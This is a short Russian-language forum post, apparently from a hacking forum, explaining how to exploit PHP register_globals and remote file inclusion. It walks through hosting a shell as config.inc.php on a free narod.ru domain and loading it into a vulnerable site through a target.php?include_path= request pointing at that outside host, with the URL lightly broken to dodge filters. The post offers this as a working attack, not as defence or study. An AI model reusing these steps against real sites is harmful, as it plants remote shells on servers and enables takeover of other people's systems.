Насчет register_globals I-I()/Ib по идее правильно сказал, но есть куча функций, которые глобализируют переменную, это неплохо описал гемаглобин, а при хорошем раскладе (т.е. ты можешь в реквест пользовать эту переменную) ты можешь сделать следующее

зарегить на народе доменчик какой нить, ну например shell-dla-includa.narod.ru


создать там папку /include/ и в эту папку записать шелл и назвать его config.inc.php


далее через эту багу его подключить....target.php?include_path=ht tp://shell-dla-includa.narod.ru

__________________
Карфаген должен быть разрушен...